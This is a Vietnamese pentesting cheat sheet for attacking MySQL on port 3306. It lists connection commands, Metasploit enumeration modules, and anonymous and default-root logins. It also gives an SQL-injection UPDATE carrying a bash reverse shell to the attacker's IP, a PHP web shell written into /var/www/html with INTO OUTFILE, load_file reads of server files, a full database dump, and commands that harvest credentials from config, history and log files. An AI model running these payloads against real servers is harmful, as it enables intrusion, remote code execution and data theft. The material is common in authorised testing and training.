Skip to main content

MySQL (Port 3306)

Connect​

Local​

Kết nối tới MySQL cục bộ với tên người dùng, tùy chọn mật khẩu hoặc cơ sở dữ liệu:

mysql -u <username>
mysql -u <username> -p
mysql -u <username> -p <database_name>

Remote​

Kết nối tới máy chủ MySQL từ xa với tên người dùng, hostname, cổng, và tùy chọn cơ sở dữ liệu:

mysql -u <username> -h <ip> -P <port> -p
mysql -u <username> -h <ip> -P <port> -p -D <database_name>

URL​

Sử dụng URL MySQL để kết nối ứng dụng với cơ sở dữ liệu:

mysql://<username>:<password>@<ip>:<port>/<database_name>

Enumeration​

Kiểm tra bằng Metasploit​

Sử dụng các module Metasploit để liệt kê phiên bản, lược đồ, hoặc tài khoản người dùng:

msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/admin/mysql/mysql_enum
msf> use auxiliary/scanner/mysql/mysql_schemadump

Attack Vectors​

Đăng nhập ẩn danh​

Kết nối tới MySQL mà không cần mật khẩu bằng tài khoản ẩn danh:

mysql -u anonymous -h <ip> -P 3306

Đăng nhập với thông tin mặc định​

Thử đăng nhập với thông tin đăng nhập mặc định như root với mật khẩu trống hoặc yếu:

mysql -u root -p
# Nhập mật khẩu mặc định hoặc để trống

Thực thi mã từ xa qua SQL Injection​

Tận dụng lỗ hổng SQL Injection để thực thi mã hệ thống thông qua cập nhật dữ liệu:

mysql> UPDATE DB.users SET email='example@shell|| bash -c "bash -i >& /dev/tcp/<your_ip>/<port> 0>&1" &' WHERE name LIKE 'user%';

Post-Exploitation​

Các lệnh MySQL thông dụng​

Câu lệnhDescriptionCách dùng
SHOW DATABASES;Liệt kê DatabaseSHOW DATABASES;
USEĐổi DatabaseUSE database_name;
SHOW TABLES;Liệt kê các bảng trong DatabaseSHOW TABLES;
SHOW COLUMNS FROMLiệt kê các cột trong bảngSHOW COLUMNS FROM table_name;
SELECTTruy xuất dữ liệuSELECT * FROM table_name;
INSERT INTOChèn bản ghi mới vào bảngINSERT INTO table_name (column1, column2) VALUES (value1, value2);
UPDATECập nhật các bản ghi trong bảngUPDATE table_name SET column1 = value1 WHERE condition;
DELETE FROMXóa các bản ghi trong bảngDELETE FROM table_name WHERE condition;
CREATE DATABASETạo Database mớiCREATE DATABASE database_name;
DROP DATABASEXóa DatabaseDROP DATABASE database_name;
CREATE TABLETạo bảng mớiCREATE TABLE table_name (column1 datatype, column2 datatype);
DROP TABLEXóa bảngDROP TABLE table_name;
ALTER TABLE ADDThêm cột mớiALTER TABLE table_name ADD column_name datatype;
ALTER TABLE DROP COLUMNXóa cộtALTER TABLE table_name DROP COLUMN column_name;
GRANTCấp quyền cho userGRANT ALL PRIVILEGES ON database_name.* TO 'user'@'localhost' IDENTIFIED BY 'password';
REVOKEThu hồi quyền của userREVOKE ALL PRIVILEGES ON database_name.* FROM 'user'@'localhost';
SHOW GRANTS FORLiệt kê các quyền của userSHOW GRANTS FOR 'user'@'localhost';
FLUSH PRIVILEGES;Tải lại bảng quyềnFLUSH PRIVILEGES;

Sao lưu toàn bộ cơ sở dữ liệu​

Sao lưu tất cả cơ sở dữ liệu để trích xuất thông tin:

mysqldump -u <username> -p <password> --all-databases --skip-lock-tables

Đọc tệp hệ thống​

Sử dụng hàm load_file để đọc nội dung tệp từ hệ thống tệp của máy chủ:

SELECT load_file('/var/lib/mysql-files/key.txt');

Ghi tệp hệ thống cho RCE​

Ghi script độc hại vào thư mục web để thực thi mã từ xa:

SELECT 1,2,"<?php echo shell_exec($_GET['command']);?>" INTO OUTFILE '/var/www/html/shell.php';

Truy cập tệp cấu hình MySQL​

Kiểm tra các tệp cấu hình để tìm thông tin đăng nhập.

Unix:

cat /etc/mysql/my.cnf
cat ~/.my.cnf

Windows:

type config.ini
type my.ini

Kiểm tra lịch sử lệnh​

Xem lịch sử lệnh MySQL để tìm thông tin nhạy cảm:

cat ~/.mysql_history

Kiểm tra tệp nhật ký​

Kiểm tra các tệp nhật ký để tìm dữ liệu nhạy cảm:

cat connections.log
cat update.log
cat common.log

Tìm mật khẩu trong ứng dụng​

Kiểm tra tệp cấu hình ứng dụng web để tìm thông tin đăng nhập MySQL:

cat /var/www/html/configuration.php